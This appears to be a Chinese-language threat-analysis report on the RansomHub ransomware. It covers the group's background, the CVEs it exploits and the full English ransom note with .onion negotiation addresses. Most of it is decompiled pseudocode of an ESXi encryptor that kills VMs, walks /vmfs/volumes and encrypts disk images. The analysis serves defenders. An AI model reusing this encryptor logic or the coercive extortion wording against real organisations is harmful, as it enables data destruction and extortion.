引言:根据ransomware.live网站的最新统计数据,RansomHub家族的全球攻击数量首次超过LockBit 3,跃升为全球第一大勒索家族。同时,RansomHub也是目前全球前十大勒索家族中唯一一个公开声明其附属组织不得攻击中国的家族。
1.背景
1.1 家族信息
该组织于2024年2月中旬出现,攻击方式涉及加密勒索和数据泄露,在暗网平台公布了多个受害用户及信息(包括窃取数据量、用户官网地址等)。关于RansomHub新发布的勒索病毒即服务(RaaS)项目的公告,发布于一个俄罗斯来源的论坛,该论坛是网络犯罪分子用来宣传恶意服务的平台,名为RAMP4U(或RAMP)。一名化名为‘koley’的用户在2024年2月2日宣布了该联盟计划,基于这种新兴的勒索软件即服务(RaaS),迅速成为目前运营的最大勒索软件集团之一。
在新发布的勒索病毒即服务公告中提到,支付赎金的洗钱操作由联盟成员负责。这意味着所有与受害者的沟通和解密器的发送都通过聊天完成。该RaaS的收益分配为,联盟成员获得90%的赎金,而开发者,即‘koley’这一身份,获得10%。
此外,根据该公告,勒索病毒的载荷是用Golang语言编写的,使用基于x25519的非对称算法和AES256、ChaCha20、xChaCha20等加密算法,以其加密速度为特色。加密过程还采用了AST进行混淆处理。
该勒索病毒的载荷支持网络传播,可以在安全模式和本地模式下加密数据。根据Koley的说法,该勒索病毒可在Windows、Linux、ESXi等平台上运行,并支持ARM和MIPS等其他架构。此外,Koley还指出,管理面板使用了.onion域名,允许联盟成员组织和管理目标、聊天房间,查看访问日志,提供离线自动响应,并创建私密博客页面。
1.2 家族介绍
值得注意的是,在它的官网上有一份声明,上面写着:
1.我们的团队成员来自不同的国家,我们对其他任何东西都不感兴趣,我们只对美元感兴趣。
2.我们不允许独联体[独联体(CIS,独立国家联合体)是由苏联解体后,前苏联的多个国家组成的一个地区性国际组织。]、古巴、朝鲜和中国成为攻击目标。
3.对于已经付款的目标公司,不允许再次攻击。
4.我们不允许针对非营利性医院和一些非营利性组织。
在后续的权利保护中提到五点保护措施:
1.子公司必须遵守谈判达成的协议和要求,如果他们不联系我们,我们将禁止他们,不再与他们合作;
2.如果在您付款后,关联公司拒绝发送解密器,您可以联系我们,我们将免费发送解密器给您;
3.如果付款后发生第二次攻击,请让我们知道,我们将立即为您提供解密;
4.如果您是我们不允许的攻击目标,请联系我们,我们将禁止该联盟并为您提供解密器;
5.如果您在付款后发现会员不遵守我们的上述规定,您可以联系我们投诉,我们将在48小时内给予回复!
1.3 攻击手法
Ransomhub家族采用常见的勒索软件策略,例如通过钓鱼攻击、利用已知漏洞和双重勒索等方式进行入侵。在初步入侵后,攻击者会禁用受害者的EDR工具,并在其网络内进行侦察。接着,Ransomhub家族会泄露凭证或通过暴力破解密码进行横向移动,进一步入侵其他有效账户。在加密数据之前,Ransomhub家族会窃取敏感信息并删除影子卷备份。
Ransomhub家族利用以下列出的已知和关键漏洞来获取对目标组织的初始访问权限:
受影响的产品 |
漏洞 |
评分 |
Citrix NetScaler ADC and NetScaler Gateway |
CVE-2023-3519 |
9.8 (Critical) |
Fortinet FortiOS and FortiProxy SSL-VPN |
CVE-2023-27997 |
9.8 (Critical) |
Java OpenWire |
CVE-2023-46604 |
9.8 (Critical) |
Atlassian Confluence Data Center and Server |
CVE-2023-22515 |
9.8 (Critical) |
F5 BIG-IP |
CVE-2023-46747 |
9.8 (Critical) |
Fortinet FortiClientEMS |
CVE-2023-48788 |
9.8 (Critical) |
Microsoft Netlogon |
CVE-2020-1472 |
10.0 (Critical) |
Microsoft Windows BITS |
CVE-2020-0787 |
7.8 (High) |
Microsoft SMBv1 |
CVE-2017-0144 |
8.8 (High) |
2.恶意文件基础信息
2.1 加密器基本信息
文件名: amd64.out
编译器: Go(1.10.x-1.17.x)[EXEC AMD64-64]
大小: ELF64
操作系统: Unix(0)[AMD64, 64位, EXEC]
模式: 64 位
类型: ELF64
字节序: LE
MD5: fdf0a0e9e20c319bd766a15415c33122
SHA1: 39a14c69d0a85b3c9abb06627863d2d60266b4e3
SHA256: 86327e6595a375662563d2b76122a3c7cf2fe5baeb2d45702c5bbb2875425bc0
2.3 勒索信
We are the RansomHub.
Your company Servers are locked and Data has been taken to our servers. This is serious.
Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.
FAQs:
Who we are?
- Normal Browser Links: https://xxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/
- Tor Browser Links: http://xxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/
Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!
Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;
Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you.
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.
Think your partner IT Recovery Company will do files restoration?
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time;
as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc.
Those actions from our side towards your company will have irreversible negative consequences for your business reputation.
You don't care in any case, because you just don't want to pay?
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company.
As a result, in midterm you will have to close your business.
So lets get straight to the point.
What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.
Now, in order to start negotiations, you need to do the following:
- install and run 'Tor Browser' from https://www.torproject.org/download/
- use 'Tor Browser' open http://xxxxxx6bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/
- enter your Client ID:
* do not leak your ID or you will be banned and will never be able to decrypt your files.
There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.
************************************************
3.加密后文件分析
3.1威胁分析
病毒家族 |
Ransomhub |
首次出现时间/捕获分析时间 |
2024/10/23 || 2024/10/23 |
威胁类型 |
勒索软件,加密病毒 |
加密文件扩展名 |
.f910ba |
勒索信文件名 |
README_f910ba.txt |
有无免费解密器? |
无 |
联系方式 |
XXXXXX99696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528 |
检测名称 |
Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 |
无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.f910ba)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 |
受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 |
所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
3.2.1 文件名
sierting.txt
加密测试文件.zip
(3.28 MB, 下载次数: 5)
3.2.2 具体内容:
3.2.3 加密文件名特征:
加密文件名 = 原始文件名+f910ba ,例如:sierting.txt.f910ba
3.2.4 加密文件数据特征:
3.2.5 加密算法:
文件加密使用了AES-CTR加密算法,对加密文件的AES密钥,采用了RSA加密和AES加密双重加密。
AES密钥生成:
KEY:
随机生成key
RSA密钥生成:
公钥:
0xF9, 0x10, 0xBA, 0x1E, 0xB0, 0x31, 0xED, 0x2D, 0x3E, 0x27,
0x73, 0xD3, 0xC7, 0x69, 0xAD, 0xA8, 0x43, 0xB7, 0x21, 0xA5,
0x40, 0x7F, 0x8B, 0x56, 0xAE, 0xAF, 0x12, 0xCA, 0x51, 0x23,
0xC2, 0x25
使用了勒索病毒程序自带的配置信息中的RSA公钥部分,即配置文件中publickey的值。
3.2.6 释放文件
勒索信(Recover files!!!.txt):
文件内容:
```C++
We are the RansomHub.
Your company Servers are locked and Data has been taken to our servers. This is serious.
Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.
FAQs:
Who we are?
Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!
Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;
Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you.
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.
Think your partner IT Recovery Company will do files restoration?
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time;
as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc.
Those actions from our side towards your company will have irreversible negative consequences for your business reputation.
You don't care in any case, because you just don't want to pay?
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company.
As a result, in midterm you will have to close your business.
So lets get straight to the point.
What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.
Now, in order to start negotiations, you need to do the following:
There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.
****```
3.2.7 程序执行流程:
4逆向分析
4.1加密器逆向分析
4.1.1 检测参数
判断参数是否为空
if ( a1 <= 1 )
{
v22 = 0LL;
v24 = 0LL;
nptr = 0LL;
v3 = 0;
LABEL_34:
v13 = (char *)malloc(0xEuLL);
v21 = v13;
if ( v13 )
{
strcpy(v13, "/vmfs/volumes");
v21 = v13;
}
goto LABEL_36;
}
如果为空就跳转到36的位置,结束程序并且输出"bad config."
LABEL_36:
if ( !(unsigned int)jiaoyan_config(v22, (__int64)&config) )
{
puts("bad config.");
return 0LL;
}
根据参数赋值
if ( !strcmp(v4[1], "-path") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -path\n", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v21 = v7;
}
if ( !strcmp(v4[1], "-pass") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -pass\n", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v22 = v9;
}
if ( !strcmp(v4[1], "-sleep") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -sleep\n", 1uLL, 0x19uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
nptr = v10;
}
if ( !strcmp(v4[1], "-skip_vms") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -skip_vms\n", 1uLL, 0x1CuLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v24 = v11;
}
如果参数是-h就输出帮助
if ( *v12 == asc_419452[0] && v12[1] == asc_419452[1] && v12[2] == asc_419452[2] )
{
printf("USAGE: %s [OPTIONS]\n", *a2);
puts("OPTIONS:");
puts(" -pass string");
puts(" \tpass");
puts(" -path string");
puts(" \tonly process files inside defined path(default is /vmfs/volumes). -path /vmfs/other");
puts(" -sleep int");
puts(" \tsleep for a period of time to run (minute)");
puts(" -skip_vms string");
puts(" \tdo not stop and encryption VMs file,one line one item. -skip_vms skip.txt");
puts(" -fast");
puts(" \tfast encryption mode");
puts(" -verbose");
puts(" \toutput the encryption log");
return 0LL;
}
4.1.2 自解密生成配置信息
自解密
if ( chacha_jiemi((unsigned int)&v23, (unsigned int)v31, (unsigned int)&v23, 0, 0, (_DWORD)dest, n) == -1 )
return 0LL;
*((_BYTE *)&v23 + v28) = 0;
v9 = sub_4060C6(&v23);
v10 = v9;
if ( !v9 )
return 0LL;
v11 = sub_403FA8(v9, "master_public_key");
if ( !v11 )
return 0LL;
v12 = sub_403FA8(v10, "extension");
if ( !v12 )
return 0LL;
v13 = sub_403FA8(v10, "note_file_name");
if ( !v13 )
return 0LL;
n = sub_403FA8(v10, "note_full_text");
if ( !n )
return 0LL;
v25 = sub_403FA8(v10, "note_short_text");
if ( !v25 )
return 0LL;
dest = (void *)sub_403FA8(v10, "encryption_files");
if ( !dest )
return 0LL;
v14 = sub_403FA8(v10, "settings");
生成配置信息
{"master_public_key": "f910ba1eb031ed2d3e2773d3c769ada843b721a5407f8b56aeaf12ca5123c225", "extension": ".f910ba", "note_file_name": "README_f910ba.txt", "note_full_text": "We are the RansomHub.\n\nYour company Servers are locked and Data has been taken to our servers. This is serious. \n\nGood news:\n- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;\n- for now, your data is secured and safely stored on our server;\n- nobody in the world is aware about the data leak from your company except you and RansomHub team;\n- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.\n\nFAQs:\nWho we are?\n- Normal Browser Links: https://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/\n- Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/\n\nWant to go to authorities for protection?\n- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!\n\nThink you can handle it without us by decrypting your servers and data using some IT Solution from third-party \"specialists\"?\n- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed; \n\nDon't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. \n- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.\n\nThink your partner IT Recovery Company will do files restoration? \n- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time; \n as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc. \n Those actions from our side towards your company will have irreversible negative consequences for your business reputation.\n\nYou don't care in any case, because you just don't want to pay? \n- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company. \n As a result, in midterm you will have to close your business. \n\n\nSo lets get straight to the point.\n\nWhat do we offer in exchange on your payment:\n- decryption and restoration of all your systems and data within 24 hours with guarantee;\n- never inform anyone about the data breach out from your company;\n- after data decryption and system restoration, we will delete all of your data from our servers forever;\n- provide valuable advising on your company IT protection so no one can attack your again.\n\nNow, in order to start negotiations, you need to do the following: \n- install and run 'Tor Browser' from https://www.torproject.org/download/\n- use 'Tor Browser' open http://ujdqg76bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/\n- enter your Client ID: %s\n* do not leak your ID or you will be banned and will never be able to decrypt your files.\n\nThere will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.\nJust focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.\n\n************************************************\n", "note_short_text": "Your data is stolen and encrypted, see README_f910ba.txt.", "settings": {"remove_vms_snapshot": false, "shutdown_vms": true, "self_delete": true}, "encryption_files": ["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]}
4.1.3 结束指定线程
拼接生成文件名/tmp/.f910ba.pid
snprintf(pid_file, 0x1000uLL, "/tmp/%s.pid", *((const char **)&config + 1));
printf("pid_file: %s\n", pid_file);
尝试打开
pid = -1;
v14 = fopen(pid_file, "r");
读取文件中的pid并结束进程
v15 = v14;
if ( v14 )
{
fscanf(v14, "%d", &pid);
if ( pid > 0 && !kill(pid, 0) )
{
puts("already running...");
fclose(v15);
while ( !kill(pid, 0) )
sleep(1u);
puts("done");
return 0LL;
}
fclose(v15);
}
如果是没有启用-verbose 则创建子进程并执行dev/null,最后结束程序
int __fastcall sub_4184D4(char *filename)
{
__pid_t v1; // eax
FILE *v2; // rax
FILE *v3; // rbx
int stat_loc[3]; // [rsp+Ch] [rbp-Ch] BYREF
v1 = fork();
pid[0] = v1;
if ( v1 < 0 )
exit(1);
if ( v1 > 0 )
{
puts("running...");
signal(2, (__sighandler_t)handle_parent_signal);
v2 = fopen(filename, &src[2]);
v3 = v2;
if ( v2 )
{
fprintf(v2, "%d\n", (unsigned int)pid[0]);
fclose(v3);
}
waitpid(pid[0], stat_loc, 0);
puts("done");
exit(0);
}
if ( setsid() < 0 )
exit(1);
close(0);
close(1);
close(2);
open("/dev/null", 2);
dup(0);
return dup(0);
}
如果使用了这个参数,就注册了一些信号
signal(1, (__sighandler_t)handle_signal);
signal(2, (__sighandler_t)handle_signal);
signal(9, (__sighandler_t)handle_signal);
signal(15, (__sighandler_t)handle_signal);
signal(19, (__sighandler_t)handle_signal);
在接收到信号之后就睡眠一小段时间
_DWORD *handle_signal()
{
_DWORD *result; // rax
running = 0;
for ( result = finish; finish[0] != 1; result = finish )
sleep(1u);
return result;
}
4.1.4 公钥初始化
生成公钥
__int64 __fastcall sub_417096(const char *a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
unsigned __int64 v4; // rcx
unsigned __int64 v5; // r13
unsigned __int64 v6; // rbx
char v7; // r12
result = 0LL;
v4 = strlen(a1) + 1;
v5 = v4 - 1;
if ( (((_BYTE)v4 - 1) & 1) == 0 )
{
result = v5 >> 1;
if ( v5 >> 1 <= a3 && v4 != 1 )
{
v6 = 0LL;
do
{
v7 = sub_41704C((unsigned int)a1[v6]);
result = sub_41704C((unsigned int)a1[v6 + 1]);
*(_BYTE *)(a2 + (v6 >> 1)) = result | (16 * v7);
v6 += 2LL;
}
while ( v5 > v6 );
}
}
return result;
}
4.1.5 获取虚拟机信息
获取虚拟机列表信息并输出,如果存在就从json里面解析出数据
void __fastcall sub_417D6B(__int64 a1)
{
FILE *v1; // r14
_BYTE *v2; // rbp
int v3; // ebx
unsigned __int64 v4; // kr08_8
__int64 v5; // rax
_QWORD *v6; // rbx
__int64 v7; // r12
__int64 v8; // r13
__int64 v9; // r14
char src[312]; // [rsp+10h] [rbp-138h] BYREF
v1 = popen("localcli --formatter json vm process list 2>/dev/null", "r");
if ( v1 )
{
memset(src, 0, 0x100uLL);
v2 = malloc(0x100uLL);
*v2 = 0;
v3 = 0;
while ( fgets(src, 256, v1) )
{
v4 = strlen(src) + 1;
v3 += v4 - 1;
v2 = realloc(v2, v3 + 1);
strncat(v2, src, (int)v4 - 1);
}
pclose(v1);
if ( *v2 )
{
if ( strstr(v2, "Display Name") )
{
v5 = sub_4060C6((__int64)v2);
if ( v5 )
{
v6 = *(_QWORD **)(v5 + 16);
while ( v6 )
{
v7 = jiexi((__int64)v6, (__int64)"Display Name");
v8 = jiexi((__int64)v6, (__int64)"World ID");
v9 = jiexi((__int64)v6, (__int64)"VMX Cartel ID");
v6 = (_QWORD *)*v6;
if ( v7
&& v8
&& jiaoyan(v7)
&& (unsigned int)sub_403B82(v8)
&& (unsigned int)sub_417F54(*(_QWORD *)(v7 + 32), a1) != 1 )
{
printf("vm process kill %s world id: %d \n", *(const char **)(v7 + 32), *(unsigned int *)(v8 + 40));
sub_417CD9(*(unsigned int *)(v8 + 40));
if ( v9 )
{
if ( (unsigned int)sub_403B82(v9) )
sub_417C47(*(unsigned int *)(v9 + 40));
}
sleep(1u);
}
}
}
}
}
free(v2);
}
}
4.1.6 加密线程创建
创建多个线程
char *__fastcall sub_4175D2(int a1)
{
char *v1; // rax
char *v2; // rbp
void *v3; // rax
int v4; // r14d
void *v5; // rax
__int64 v6; // r13
int i; // r12d
void **v8; // rbx
void *v9; // rax
dword_627664 = 0;
dword_627660 = 1;
v1 = (char *)malloc(0xB0uLL);
v2 = v1;
if ( v1 )
{
*((_DWORD *)v1 + 2) = 0;
*((_DWORD *)v1 + 3) = 0;
*((_DWORD *)v1 + 42) = 0;
*((_QWORD *)v1 + 18) = 0LL;
*((_QWORD *)v1 + 19) = 0LL;
v3 = malloc(0x60uLL);
*((_QWORD *)v2 + 20) = v3;
if ( v3 )
{
v4 = 0;
if ( a1 >= 0 )
v4 = a1;
pthread_mutex_init((pthread_mutex_t *)(v2 + 104), 0LL);
sub_4172FE(*((_QWORD *)v2 + 20), 0LL);
v5 = malloc(8LL * v4);
*(_QWORD *)v2 = v5;
if ( v5 )
{
pthread_mutex_init((pthread_mutex_t *)(v2 + 16), 0LL);
pthread_cond_init((pthread_cond_t *)(v2 + 56), 0LL);
if ( v4 > 0 )
{
v6 = 0LL;
for ( i = 0; i < v4; ++i )
{
v8 = (void **)(*(_QWORD *)v2 + v6);
v9 = malloc(0x18uLL);
*v8 = v9;
if ( v9 )
{
*((_QWORD *)v9 + 2) = v2;
*(_DWORD *)*v8 = i;
pthread_create((pthread_t *)*v8 + 1, 0LL, start_routine, *v8);
pthread_detach(*((_QWORD *)*v8 + 1));
}
else
{
fwrite("thread_init(): Could not allocate memory for thread\n", 1uLL, 0x34uLL, MEMORY[0x7F21E6F8B840]);
}
v6 += 8LL;
}
}
while ( *((_DWORD *)v2 + 2) != v4 )
;
}
else
{
fwrite("thpool_init(): Could not allocate memory for threads\n", 1uLL, 0x35uLL, MEMORY[0x7F21E6F8B840]);
sub_41736A((pthread_mutex_t *)(v2 + 104));
free(v2);
return 0LL;
}
}
else
{
fwrite("thpool_init(): Could not allocate memory for job queue\n", 1uLL, 0x37uLL, MEMORY[0x7F21E6F8B840]);
free(v2);
return 0LL;
}
}
else
{
fwrite("thpool_init(): Could not allocate memory for thread pool\n", 1uLL, 0x39uLL, MEMORY[0x7F21E6F8B840]);
}
return v2;
}
4.1.7 勒索信创建
尝试打开勒索信/vmfs/volumes/README_f910ba.txt
strcpy(v2, a1);
strcat(v3, "/");
strcat(v3, *((const char **)&config + 2));
v9 = fopen(v3, "w")
如果成功打开,就将配置里面的内容写入勒索信
{
fwrite(*((const void **)&config + 3), 1uLL, strlen(*((const char **)&config + 3)), v9);
fclose(v9);
}
4.1.8 遍历路径
尝试打开目录/vmfs/volumes/,如果存在这个目录,就继续往下执行
v14 = opendir(v3);
if ( v14 )
{
while ( 1 )
{
v29 = readdir(v14);
如果文件类型是目录,就递归进入这个函数
if ( d_type == 4 )
{
v18 = v3;
v19 = 4097;
if ( ((unsigned __int8)v3 & 1) != 0 )
{
*v3 = 0;
v18 = v3 + 1;
v19 = 4096;
}
if ( ((unsigned __int8)v18 & 2) != 0 )
{
*v18++ = 0;
v19 -= 2;
}
if ( ((unsigned __int8)v18 & 4) != 0 )
{
*(_DWORD *)v18 = 0;
v18 += 2;
v19 -= 4;
}
v20 = v19 >> 3;
memset(v18, 0, 8 * v20);
v21 = &v18[4 * v20];
if ( (v19 & 4) != 0 )
*v21++ = 0;
if ( (v19 & 2) != 0 )
{
*(_WORD *)v21 = 0;
v21 = (_DWORD *)((char *)v21 + 2);
}
if ( (v19 & 1) != 0 )
*(_BYTE *)v21 = 0;
strcpy(v3, v8);
strcat(v3, "/");
strcat(v3, d_name);
sub_40217C(v3);
}
如果文件类型是普通文件就执行判断
else if ( d_type == 8 )
{
v30 = (__int64)v29->d_name;
if ( !(unsigned int)sub_417FA2(v29->d_name, *((_QWORD *)&config + 1)) )
{
if ( (unsigned int)sub_417F54(v30, *((__int64 **)&config + 5)) )
{
v22 = v3;
v23 = 4097;
if ( ((unsigned __int8)v3 & 1) != 0 )
{
*v3 = 0;
v22 = v3 + 1;
v23 = 4096;
}
if ( ((unsigned __int8)v22 & 2) != 0 )
{
*v22++ = 0;
v23 -= 2;
}
if ( ((unsigned __int8)v22 & 4) != 0 )
{
*(_DWORD *)v22 = 0;
v22 += 2;
v23 -= 4;
}
v24 = v23 >> 3;
memset(v22, 0, 8 * v24);
v25 = &v22[4 * v24];
if ( (v23 & 4) != 0 )
*v25++ = 0;
if ( (v23 & 2) != 0 )
{
*(_WORD *)v25 = 0;
v25 = (_DWORD *)((char *)v25 + 2);
}
if ( (v23 & 1) != 0 )
*(_BYTE *)v25 = 0;
strcpy(v3, v8);
strcat(v3, "/");
strcat(v3, d_name);
v26 = exclude_vms;
if ( exclude_vms && (v27 = (const char *)*exclude_vms) != 0LL )
{
v31 = 0;
while ( !strstr(v3, v27) )
{
v27 = (const char *)v26[++v31];
if ( !v27 )
goto LABEL_71;
}
printf("skip %s\n", v3);
}
判断后缀是否为.f910ba
```C++
_BOOL8 fastcall sub_417FA2(const char a1, const char a2)
{
unsigned __int64 v2; // kr08_8
unsigned int64 v3; // kr10_8
if ( a1 && a2 && (v2 = strlen(a1) + 1, v3 = strlen(a2) + 1, v2 - 1 >= v3 - 1) )
return strcmp(&a1[v2 - v3], a2) == 0;
else
return 0LL;
}
如果不是 判断文件是否为以下几个后缀,如果是,就继续执行加密
```C
["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]
创建加密任务
v28 = malloc(strlen(v3) + 1);
memset(v28, 0, strlen(v3) + 1);
strcpy((char *)v28, v3);
printf("found %s\n", (const char *)v28);
sub_4174F9(thread_pool, encrypt_file_task, v28);
尝试获取文件状态,如果获取不到,就显示加密失败,然后退出当前加密任务
if ( __xstat64(1, filename, &stat_buf) )
{
v4 = __errno_location();
v5 = strerror(*v4);
printf("failed to encrypt file %s, unable to get file stat %s\n", filename, v5);
return 0LL;
}
4.1.9 密钥生成
随机生成密钥
int __fastcall sub_418732(void *ptr, int a2)
{
FILE *v2; // rax
FILE *v3; // rbx
v2 = fopen("/dev/urandom", "r");
v3 = v2;
if ( v2 )
{
fread(ptr, 1uLL, a2, v2);
LODWORD(v2) = fclose(v3);
}
return (int)v2;
}
通过rsa加密密钥
ase密钥初始化
如果选择快速加密,则初始化chacha20密钥
4.1.10 加密文件
根据文件大小返回对应的值
__int64 __fastcall sub_418678(unsigned __int64 a1)
{
__int64 result; // rax
result = 0LL;
if ( a1 > 0x200000 )
{
result = 0x100000LL;
if ( a1 > 0x800000 )
{
result = 0x200000LL;
if ( a1 > 0x2000000 )
{
result = 3145728LL;
if ( a1 > 0x8000000 )
{
result = (__int64)&dword_400000;
if ( a1 > 0x20000000 )
{
result = 5242880LL;
if ( a1 > 0x80000000 )
{
result = 6291456LL;
if ( a1 > 0x200000000LL )
{
result = 7340032LL;
if ( a1 > 0x800000000LL )
{
result = 0x800000LL;
if ( a1 > 0x2000000000LL )
return a1 > 0x8000000000LL ? 10485760LL : 9437184LL;
}
}
}
}
}
}
}
}
return result;
}
将加密后的密钥,rsa公钥,以及刚刚得到的值写入文件末尾
v14 = sub_418678(st_size);
if ( a3 == 1 )
v14 *= 4LL;
memset(ptr, 0, 0x78uLL);
*(_QWORD *)ptr = v29;
*(_QWORD *)&ptr[8] = v30;
*(_QWORD *)&ptr[16] = v31;
*(_QWORD *)&ptr[24] = v32;
*(_WORD *)&ptr[32] = v19;
*(_QWORD *)&ptr[34] = v35;
*(_QWORD *)&ptr[42] = v36;
*(_QWORD *)&ptr[50] = v37;
v33 = v35;
v34 = v36;
v35 = 0LL;
v36 = 0LL;
v37 = 0LL;
*(_QWORD *)&ptr[66] = v14;
*(_QWORD *)&ptr[90] = *master_public_key;
*(_QWORD *)&ptr[98] = master_public_key[1];
*(_QWORD *)&ptr[106] = master_public_key[2];
*(_QWORD *)&ptr[114] = master_public_key[3];
fseek(v8, 0LL, 2);
